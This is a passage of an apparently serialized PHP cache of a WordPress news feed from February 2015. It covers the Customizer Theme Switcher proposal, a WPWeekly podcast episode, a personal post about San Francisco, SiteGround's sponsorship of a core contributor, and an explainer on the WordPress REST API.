4.2\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38876\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:83:\"http://wptavern.com/customizer-theme-switcher-officially-proposed-for-wordpress-4-2\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2720:\"<p>This week, Nick Halsey officially <a href=\"https://make.wordpress.org/core/2015/02/11/customizer-theme-switcher-feature-plugin-merge-proposal/\" target=\"_blank\">proposed</a> the Customizer Theme Switcher feature plugin for merge into WordPress 4.2. Halsey summarizes the goal of bringing theme switching into the customizer: &#8220;By integrating themes directly into the Customizer, live-previewing workflows are greatly simplified, and the relationship between themes and theme/site options is clarified for the user,&#8221; he said.</p>\n<p>Halsey explained that the new UI is part of a long-term plan to move all the &#8220;Appearance&#8221; functionality into the customizer. &#8220;The future roadmap includes <a href=\"https://wordpress.org/plugins/menu-customizer\">Menus</a>, Theme-Install, and iterations on widgets that would allow the customizer to entirely replace those admin screens for most users,&#8221; he said.</p>\n<p>His proposal includes a video that demonstrates how a user might scroll through the customizer to browse and preview available themes.</p>\n<p><span class=\"embed-youtube\"></span></p>\n<p>It&#8217;s important to note that if this feature plugin is cleared for merge, users will not have to search for and install themes from the narrow customizer pane. The Customizer Theme Switcher is intended for previewing and activating themes that have already been installed. Contributors on the project are proposing that WordPress 4.2 redirect the &#8220;Themes&#8221; link that appears in the frontend admin bar to the customizer, instead of the backend.</p>\n<p>In the future, Halsey plans to integrate theme installation into the customizer, but this is a larger effort that will be added to the project in a later release. Coming up with a UI that doesn&#8217;t make this a cramped and inconvenient experience is going to be a challenge.</p>\n<p>For more technical details on the proposed core changes and merge implementation, check out Halsey&#8217;s post on the <a href=\"https://make.wordpress.org/core/2015/02/11/customizer-theme-switcher-feature-plugin-merge-proposal/\" target=\"_blank\">Make/Core blog</a>. If you want to test out the new UI for theme switching, you can download the <a href=\"https://wordpress.org/plugins/customizer-theme-switcher/\" target=\"_blank\">Customizer Theme Switcher</a> plugin from WordPress.org.</p>\n<p>The feature plugin merge window will be closing the week of February 25th, and the official release is <a href=\"https://make.wordpress.org/core/version-4-2-project-schedule/\" target=\"_blank\">targeted for the week of April 22nd</a>. Updates on whether or not the Customizer Theme Switcher is approved for merge will be available within the next few weeks.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 12 Feb 2015 21:04:05 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:15;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:85:\"WPTavern: WPWeekly Episode 179 – Interview With James Laws, Co-founder of WP Ninjas\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:44:\"http://wptavern.com?p=38913&preview_id=38913\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:90:\"http://wptavern.com/wpweekly-episode-179-interview-with-james-laws-co-founder-of-wp-ninjas\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3285:\"<p>In this episode of WordPress Weekly, <a title=\"http://marcuscouch.com/\" href=\"http://marcuscouch.com/\">Marcus Couch</a> and I are joined by the co-founder of <a title=\"http://wpninjas.com/\" href=\"http://wpninjas.com/\">WP Ninjas</a>, <a title=\"http://jameslaws.com/\" href=\"http://jameslaws.com/\">James Laws</a>. WP Ninjas specializes in WordPress plugins such as <a title=\"http://ninjaforms.com/\" href=\"http://ninjaforms.com/\">Ninjas Forms</a> and <a title=\"http://ninjademo.com/\" href=\"http://ninjademo.com/\">Ninja Demo</a>.</p>\n<p>In the show, Laws explains the origins of the business and why he decided to enter the forms market despite GravityForms being a popular choice among WordPress developers. He shares some of the mistakes he made early on such as competing based on price and offering a one time purchase price. Near the end of the interview, we find out what the future holds for both products.</p>\n<h2>Stories Discussed:</h2>\n<p><a title=\"http://wptavern.com/initiative-aims-to-improve-the-new-user-experience-in-wordpress-4-2\" href=\"http://wptavern.com/initiative-aims-to-improve-the-new-user-experience-in-wordpress-4-2\">Initiative Aims to Improve the New User Experience in WordPress 4.2</a><br />\n<a title=\"http://wptavern.com/the-first-conference-dedicated-to-wordpress-com-debuts-on-march-28th-in-portland-or\" href=\"http://wptavern.com/the-first-conference-dedicated-to-wordpress-com-debuts-on-march-28th-in-portland-or\">The First Conference Dedicated to WordPress.com Debuts on March 28th in Portland, OR</a><br />\n<a title=\"http://wptavern.com/wp-rocket-grows-from-0-to-35k-in-monthly-revenue\" href=\"http://wptavern.com/wp-rocket-grows-from-0-to-35k-in-monthly-revenue\">WP Rocket Grows From $0 to $35K in Monthly Revenue</a></p>\n<h2>Plugins Picked By Marcus:</h2>\n<p><a title=\"https://wordpress.org/plugins/adminrocket/\" href=\"https://wordpress.org/plugins/adminrocket/\">AdminRocket</a> allows you to customize the WordPress backend with custom themes, dashboard widgets, and your own settings.</p>\n<p><a title=\"https://wordpress.org/plugins/seo-enforcer/\" href=\"https://wordpress.org/plugins/seo-enforcer/\">SEO Enforcer</a> is a small plugin that works with WordPress SEO by Yoast (it&#8217;s required), that will truncate your title or meta description tags if they&#8217;re too long.</p>\n<p><a title=\"https://wordpress.org/plugins/disable-wp-registration-page/\" href=\"https://wordpress.org/plugins/disable-wp-registration-page/\">Disable WP Registration Page</a> disables the default WordPress registration page by redirecting users who access the registration page URL to the default WordPress login page.</p>\n<p><strong>Next Episode:</strong> Wednesday, February 18th 9:30 P.M. Eastern</p>\n<p><strong>Subscribe To WPWeekly Via Itunes: </strong><a href=\"https://itunes.apple.com/us/podcast/wordpress-weekly/id694849738\" target=\"_blank\">Click here to subscribe</a></p>\n<p><strong>Subscribe To WPWeekly Via RSS: </strong><a href=\"http://www.wptavern.com/feed/podcast\" target=\"_blank\">Click here to subscribe</a></p>\n<p><strong>Subscribe To WPWeekly Via Stitcher Radio: </strong><a href=\"http://www.stitcher.com/podcast/wordpress-weekly-podcast?refid=stpr\" target=\"_blank\">Click here to subscribe</a></p>\n<p><strong>Listen To Episode #179:</strong><br />\n</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 12 Feb 2015 20:13:36 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:16;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:54:\"Matt: What I Miss and Don’t Miss About San Francisco\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44012\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:38:\"http://ma.tt/2015/02/left-my-heart-in/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:5012:\"<p>A few months ago I was chatting with <a href=\"http://www.borthwick.com/weblog/\">John Borthwick</a>, who had just returned from a trip to San Francisco. I asked him how the city was doing as if he were a traveler who had visited someplace exotic &#8212; &#8220;How is it <em>over there</em>?&#8221; (As an investor he probably sees the crazier side of the city, since part of his job is looking at hundreds of companies, the vast majority of which will fail, and trying to pick a few winners.)</p>\n<p>Despite getting near-daily meeting requests, I don&#8217;t currently have any plans to visit San Francisco. I was there in June for a few days for Foo Camp and for drinks with <a href=\"http://www.tommarioni.com/\">the artist Tom Marioni</a>. I returned for <a href=\"http://2014.sf.wordcamp.org/\">WordCamp San Francisco in October</a>, and again a few weeks ago for <a href=\"http://scobleizer.com/\">Scoble&#8217;s</a> 50th birthday party and a board meeting. But the couple-times-a-year rhythm seems to be enough for me. I&#8217;m enjoying the distance a bit, in fact.</p>\n<p>There has been plenty written about the bubble culture in SF right now, including on <a href=\"http://www.sfgate.com/bayarea/article/Is-the-antitech-movement-obsolete-6067623.php\">the antitech movement that never really took off</a>. <a href=\"http://ma.tt/2013/03/evolution-of-san-francisco/\">It&#8217;s a topic I already blogged about in 2013</a>. But I was curious to unpack my own thoughts about being away from it all.</p>\n<p>What I don&#8217;t miss:</p>\n<ul>\n<li>Too many meetings &#8212; every possible company is there, and everyone wants to meet.</li>\n<li>High prices for everything, from groceries to cocktails. Not even going to talk <a href=\"http://ma.tt/2014/12/how-paul-graham-is-wrong/\">about the real estate market and rentals</a>.</li>\n<li>It takes forever to get across the city, even though it&#8217;s only 7 miles.</li>\n<li>The public transit, while workable, pales in comparison to other places like NYC.</li>\n<li>The weather isn&#8217;t bad, until you drive to Palo Alto or Marin and notice how much nicer it is there. (Or take a one-hour flight to Los Angeles or San Diego.)</li>\n<li>This is anecdotal, but I feel like cell phone service is terrible, especially for making calls. Calls are unintelligible and drop frequently. I think this is why everyone texts.</li>\n</ul>\n<p>I don&#8217;t have any problem with the social scene; SF might be tech-heavy, but it&#8217;s fairly easy to get out of the tech bubble. Many forget that San Francisco is home to a ton of people working for non-profits, in fashion, finance, bio-tech, art, and music.</p>\n<p>What I miss, deeply: <strong>the people.</strong> Some of my favorite people, professionally and personally, are in the Bay Area, and that&#8217;s the thing that will draw me back someday. I&#8217;m lucky that I can catch up with folks when they travel, like <a href=\"http://janekim.org/\">Jane</a> or <a href=\"http://tonyconrad.wordpress.com/\">Tony</a> in New York or <a href=\"http://om.co/\">Om</a> in Italy. Of course the Automattic headquarters is there, along with some great colleagues, but I can also catch up with them at meetups.</p>\n<p>I miss how much <strong>technology permeates the culture</strong> there, from billboards to services like Uber or <a href=\"https://postmates.com/\">Postmates</a> (or <a href=\"https://munchery.com/\">Munchery</a> or <a href=\"https://www.spoonrocket.com/\">Spoonrocket</a>) that today seem like conveniences, but will be the basis of something very meaningful down the line. You can feel like you&#8217;re living in the future there. Internet speeds seem to be getting better, too &#8212;  local ISPs like <a href=\"https://webpass.net/\">Webpass</a> and <a href=\"https://www.monkeybrains.net/\">Monkeybrains</a> are leading the way, but even my Comcast account there delivers 120mbps.</p>\n<p>I miss being able to run along the water, and the close proximity to lots of beautiful nature areas (granted I didn&#8217;t take much advantage of those when I was still around). The quality of light is really nice &#8212; when you can see it. Restaurants, though tending toward pricey, offer great ingredients and quality.</p>\n<p>Finally, you can&#8217;t deny it&#8217;s a city of hustlers. This tweet has since been deleted, but you get the idea:</p>\n<blockquote class=\"twitter-tweet\" width=\"550\"><p><a href=\"https://twitter.com/photomatt\">@photomatt</a> Can we interest you in any lemonade? Or what about a quick meeting at <a href=\"https://twitter.com/CoupaCafe\">@CoupaCafe</a> in <a href=\"https://twitter.com/hashtag/paloalto?src=hash\">#paloalto</a> <a href=\"http://t.co/ExoxtXHu38\">pic.twitter.com/ExoxtXHu38</a></p>\n<p>&mdash; Closetclicks (@closetclicks) <a href=\"https://twitter.com/closetclicks/statuses/500345852352008193\">August 15, 2014</a></p></blockquote>\n<p></p>\n<p><img class=\"wp-image-44687 size-full\" src=\"http://i0.wp.com/ma.tt/files/2015/02/closetclicks_2015-Feb-11.jpg?resize=604%2C453\" alt=\"\" /></p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 12 Feb 2015 20:10:40 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:17;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:71:\"WPTavern: SiteGround Sponsors a Full-Time Contributor to WordPress Core\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38870\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:81:\"http://wptavern.com/siteground-sponsors-a-full-time-contributor-to-wordpress-core\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:4217:\"<p><a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/siteground-offices.jpg\" rel=\"prettyphoto[38870]\"><img src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/siteground-offices.jpg?resize=720%2C352\" alt=\"siteground-offices\" class=\"aligncenter size-full wp-image-38896\" /></a></p>\n<p><a href=\"https://profiles.wordpress.org/iseulde\" target=\"_blank\">Iseulde Van Dorpe</a> is joining <a href=\"https://www.siteground.com/\" target=\"_blank\">SiteGround</a> to work full-time as a contributor to WordPress core. She expects to work on a variety of different tasks, particularly those that relate to media and the editing experience. Van Dorpe&#8217;s recent core contributions helped to improve the editor for users in the 4.0 release.</p>\n<blockquote class=\"twitter-tweet\" width=\"550\"><p>There are many WordPress 4.0 standouts, but <a href=\"https://twitter.com/avryl\">@avryl</a> took my editor sizing/scrolling idea and ran with it. Turned it into something *magical*.</p>\n<p>&mdash; Mark Jaquith  (@markjaquith) <a href=\"https://twitter.com/markjaquith/status/507580649536880640\">September 4, 2014</a></p></blockquote>\n<p></p>\n<p>SiteGround identified and selected its new contributor based on recommendations from others involved in core development. &#8220;In search of developing our WordPress involvement even further, we made some inquiries as to what is most needed by the project at the moment,&#8221; said Tina Kesova, VP of Strategic Partnerships at SiteGround.</p>\n<p>&#8220;The answer we received was that front-end and Javascript specialists will be very valuable. A recommendation for Iseulde’s work in this field was also received from several key WordPress people, who have been impressed with the things she has done for the last year since she first started contributing on a volunteer basis,&#8221; she said.</p>\n<p>For the past five years, SiteGround has been actively involved with supporting the project by sponsoring community events, dedicating employees to help with event orgranization, and sending speakers to share their knowledge at WordCamps around the world.</p>\n<p>&#8220;We also already have a great relationship with Mario Peshev, who is contributing to the core on a part-time basis sponsored by our company,&#8221; Kesova said. This experience helped with the company&#8217;s decision to sponsor Van Dorpe as a full-time contributor.</p>\n<p>&#8220;What truly won us after we had personally met her, was that she is not just a capable WordPress developer, but she is also a great fit for our company culture,&#8221; Kesova said. &#8220;She has the same passion for quality and efficiency that drives SiteGround.&#8221;</p>\n<h3>What does a full-time WordPress core contributor do?</h3>\n<p>SiteGround isn&#8217;t the first hosting company to sponsor an employee&#8217;s time for working on the WordPress project. WP Engine, Dreamhost, and a handful of others have been doing so for the past several years. The job varies, depending on the amount of time the company can lend and the contributor&#8217;s areas of specialty and interest.</p>\n<p>&#8220;As part of the SiteGround team Iseulde will be working full time contributing to WordPress core and helping with some maintenance tasks,&#8221; Kesova said. &#8220;She has some great ideas about improvements in the WordPress backend, including the editor and the media manager, and she will be also doing some support work for WordPress by reviewing and closing tickets and patches.&#8221;</p>\n<p>Van Dorpe, originally from Belgium, will be working remotely from her current home in Glasgow, Scotland. SiteGround&#8217;s main headquarters are in Sofia, Bulgaria, but it also has two offices in Bulgaria and one in Spain. The company is in the process of hiring its first American employee and plans to open an office in the USA soon.</p>\n<p>&#8220;As a web hosting company, we are aware of the big significance open source projects like WordPress have for our business, by helping people build their websites on top of the hosting service we provide,&#8221; Kesova said. &#8220;That is why we believe it is our duty to support such projects in a meaningful way that can help further their development.&#8221;</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 12 Feb 2015 18:55:50 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:18;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:35:\"Post Status: The WordPress REST API\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:30:\"https://poststatus.com/?p=8643\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:47:\"https://poststatus.com/wordpress-json-rest-api/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:22527:\"<p>The WordPress REST API project is the most exciting project for the platform since custom post types were introduced in WordPress 2.9 and 3.0. I really believe that.</p>\n<p>While the project is under a major rewrite and not yet slated for a specific core release, it can be really confusing to figure out what&#8217;s going on.</p>\n<p>Let&#8217;s talk about what the new API is, why it matters, and go over the state of the API to answer some common questions I&#8217;ve seen.</p>\n<h3>What is a JSON REST API?</h3>\n<p>Let&#8217;s start by defining the acronyms. It may seem tedious for experienced developers, but it&#8217;s a good way to get us in the right mindset.</p>\n<h4>API: Application Program Interface</h4>\n<p>APIs have a broad definition. Any program is an API. When you have some form of construct in a programming language &#8212; like PHP for example &#8212; where the construct makes it possible to perform a programming task, that&#8217;s a good way to think of an API.</p>\n<p>Let&#8217;s use custom post types as an example. WordPress has a custom post types API. Really, it&#8217;s just a significant chunk of code that makes previously difficult tasks simpler. Now, you can create all new types of content &#8212; that mimic the content structure for posts and pages &#8212; with just a few lines of code.</p>\n<p>The core team created a programming interface to make that possible. That&#8217;s a layman&#8217;s definition for an API.</p>\n<h4>JSON: JavaScript Object Notation</h4>\n<p>JSON is a preferred format for structuring data so that a variety of applications can read it. You can create JSON formatted data from one programming language and read and process it from another. It&#8217;s similar to XML, but seemingly universally preferred over XML.</p>\n<p>JSON makes communication between something like WordPress and something like a mobile app completely possible, as JSON is a common data format between them, so that you can create data on the WordPress side and return it in JSON, so that the data can be easily read on the mobile app side. Such relationships don&#8217;t have to be between WordPress and a mobile app; it could be nearly anything, meaning &#8220;WordPress as an app platform&#8221; becomes much more realistic.</p>\n<div id=\"attachment_8687\" class=\"wp-caption aligncenter\"><img class=\"size-large wp-image-8687\" src=\"https://poststatus.com/wp-content/uploads/2015/02/json-api-data-752x460.jpg\" alt=\"A JSON blurb, at least how it looks when you go straight to the URL\" width=\"752\" height=\"460\" /><p class=\"wp-caption-text\">A JSON blurb, at least how it looks when you go straight to the URL</p></div>\n<p>JSON looks terrifying if you see it &#8220;raw&#8221;. For instance, Post Status has the WordPress REST API enabled, so if you go to <a href=\"https://poststatus.com/wp-json/posts\">https://poststatus.com/wp-json/posts</a> you can see my recent posts in a JSON format. This isn&#8217;t pretty to the human eye, but for a programming language, it&#8217;s beautiful.</p>\n<h4>REST: Representational State Transfer</h4>\n<p>A REST API is an architectural preference. Most REST APIs, including WordPress&#8217;, are based on HTTP. This means that the primary actions of the REST API are HTTP actions: <code>POST</code>, <code>GET</code>, <code>PUT</code>, <code>DELETE</code>.</p>\n<p>So, with a REST API, we are reading or manipulating data using HTTP.</p>\n<p>Wikipedia kindly defines RESTful APIs better than I can, namely with a definition based upon the restraints on the API itself:</p>\n<blockquote><p>Web service APIs that adhere to the <a href=\"http://en.wikipedia.org/wiki/Representational_state_transfer#Architectural_constraints\">REST architectural constraints</a> are called RESTful. HTTP based RESTful APIs are defined with these aspects:</p>\n<ul>\n<li>base <a class=\"mw-redirect\" title=\"URI\" href=\"http://en.wikipedia.org/wiki/URI\">URI</a>, such as <code>http://example.com/resources/</code></li>\n<li>an <a title=\"Internet media type\" href=\"http://en.wikipedia.org/wiki/Internet_media_type\">Internet media type</a> for the data. This is often <a title=\"JSON\" href=\"http://en.wikipedia.org/wiki/JSON\">JSON</a> but can be any other valid Internet media type (e.g. XML, Atom, microformats, images, etc.)</li>\n<li>standard <a class=\"mw-redirect\" title=\"HTTP method\" href=\"http://en.wikipedia.org/wiki/HTTP_method\">HTTP methods</a> (e.g., GET, PUT, POST, or DELETE)</li>\n<li>hypertext links to reference state</li>\n<li>hypertext links to reference related resources<sup id=\"cite_ref-8\" class=\"reference\"><a href=\"http://en.wikipedia.org/wiki/Representational_state_transfer#cite_note-8\">[8]</a></sup></li>\n</ul>\n</blockquote>\n<p>These restrictions serve as standards that anyone working with a RESTful API can expect to exist. So, in my case, I&#8217;m utilizing both the WP API and the Mailchimp API on Post Status. Interacting with either feels similar, because they&#8217;ve placed similar constraints on themselves.</p>\n<h3>What is the WordPress REST API?</h3>\n<p>Now we know what a JSON REST API is, so we can better define what the WordPress one is.</p>\n<p><span class=\"pullquote alignright\">The WordPress REST API is a common data and programming interface that abstracts the reading and writing of information for WordPress from the WordPress application as we&#8217;ve previously known it.</span> Now, developers working with WordPress don&#8217;t have to know that much about WordPress.</p>\n<h3>How can the WordPress REST API be used?</h3>\n<p>Developers will be able to perform nearly all the data manipulation and data reading functions that are possible with PHP, with the new API. What&#8217;s that mean? It means everything.</p>\n<h4>Ditching WordPress on the front-end</h4>\n<p>With the JSON API, the frontend of WordPress doesn&#8217;t have to be WordPress at all. For example, developers can completely bypass the WordPress templating engine using the API. They can even keep the backend of WordPress and the front-end of the website on completely different server stacks, because they just need to read the data using the API.</p>\n<p>There are already many websites doing this around the web. Some of them use custom APIs they built themselves, and others are using the new WordPress REST API. Let&#8217;s discuss a couple of examples:</p>\n<ol>\n<li>The New York Times uses the WordPress REST API for a variety of things. They are able to use the API in combination with their proprietary CMS. This allows them to pull WordPress data for placement on the Times&#8217; homepage and other places very easily. They&#8217;re also using the REST API for their live event coverage, like this <a href=\"http://elections.nytimes.com/2014/liveblog\">elections live blog</a>.</li>\n<li><a href=\"http://www.bloomberg.com/politics/\">Bloomberg Politics</a> uses WordPress to publish, but based on the front-end of the website, you&#8217;d never know it. I don&#8217;t think they&#8217;re using the official WordPress REST API, but they could.</li>\n<li><a href=\"http://mashable.com/\">Mashable</a> uses WordPress to publish, but their front-end is not WordPress at all. This is also a custom implementation, as they made the switch before the official REST API was even underway.</li>\n</ol>\n<p>These are three examples of news sites using REST APIs for the front-end. But the applications go much, much farther than that.</p>\n<h4>WordPress as an application</h4>\n<p>If you want to see a prime case study, watch K. Adam White&#8217;s presentation from WordCamp San Francisco 2014, where he talks about <a href=\"http://wordpress.tv/2014/11/03/k-adam-white-wordpress-in-weird-places-content-management-for-node-using-rest/\">how his team used WordPress as the CMS for a node.js app</a>. This really highlights the potential I&#8217;m talking about.</p>\n<p>Looking through the resulting <a href=\"https://github.com/kadamwhite/expresspress\">ExpressPress repo</a> that K. Adam highlights in his presentation is an educational and fascinating experience.</p>\n<h4>Custom WordPress admins</h4>\n<p>WordPress administration doesn&#8217;t have to use the WordPress admin as we know it. With the REST API, you can create, edit, and delete content just as well as you can read it.</p>\n<p>Eventually, the WordPress admin itself may be re-written on top of the REST API. Using the API, creating completely custom administration panels will be easier than ever before. This will allow developers to create catered administration experiences for a particular application.</p>\n<div id=\"attachment_8686\" class=\"wp-caption aligncenter\"><img class=\"size-large wp-image-8686\" src=\"https://poststatus.com/wp-content/uploads/2015/02/json-api-wpcom-post-editor-752x561.jpg\" alt=\"The WordPress.com editor\" width=\"752\" height=\"561\" /><p class=\"wp-caption-text\">The WordPress.com editor</p></div>\n<p>For example, WordPress.com has already utilized their own REST API (which will hopefully be a similar implementation to the core API once it&#8217;s included) to create a custom admin experience for their blogging platform.</p>\n<div id=\"attachment_8685\" class=\"wp-caption aligncenter\"><img class=\"size-large wp-image-8685\" src=\"https://poststatus.com/wp-content/uploads/2015/02/wp-api-happy-tables-752x490.jpg\" alt=\"The Happy Tables editor\" width=\"752\" height=\"490\" /><p class=\"wp-caption-text\">The Happy Tables editor</p></div>\n<p>Other services, like <a href=\"http://happytables.com\">Happy Tables</a> for instance, have also created custom WordPress admins. Doing this in the future will be easier than ever because the REST API integrates existing WordPress functionality to the API, so that developers don&#8217;t have to reinvent the wheel.</p>\n<h4>App integrations</h4>\n<p>Additionally to custom web integrations, WordPress will be able to talk to apps easier than ever before as well.</p>\n<p>Previous apps that interfaced with WordPress would most often use XML-RPC. With the REST API, the ability to perform complex functions in a reliable manner is increased. It will be simpler than ever to create a mobile app that can not only read WordPress data, but also  create, edit, and delete that data.</p>\n<p>The entire mobile app can be written in Objective-C, Swift, or whatever programming language, and interface with WordPress.</p>\n<p>An example of this in action is <a href=\"http://apppresser.com/\">AppPresser</a> (<a title=\"AppPresser: A foundation for using WordPress to make mobile apps\" href=\"https://poststatus.com/appresser-wordpress-mobile-apps/\">which I covered</a> when it launched). AppPresser has created an application framework that integrates with the WordPress REST API to make creating WordPress apps for individual sites quite simple.</p>\n<p>But it&#8217;s not limited to app creation with a tool like AppPresser. People can now have one data-storage area (WordPress) that can power both the website and an app, and that is a powerful feature. Also, the apps can talk to and write to the WordPress database directly through the API.</p>\n<p>We will see dozens of WordPress apps and admin integrations over the next few years. We could even see whole startups build apps with WordPress as a base layer.</p>\n<p><span class=\"pullquote alignright\">WordPress can provide an excellent foundation for user management, content management, and much more &#8212; reducing the amount of work a startup creating a prototype mobile application have to recreate themselves.</span> The REST API makes it so a mobile app can look completely custom and also use a tool as widely distributed as WordPress to power many of the internals.</p>\n<h3>When is the WordPress REST API going to be 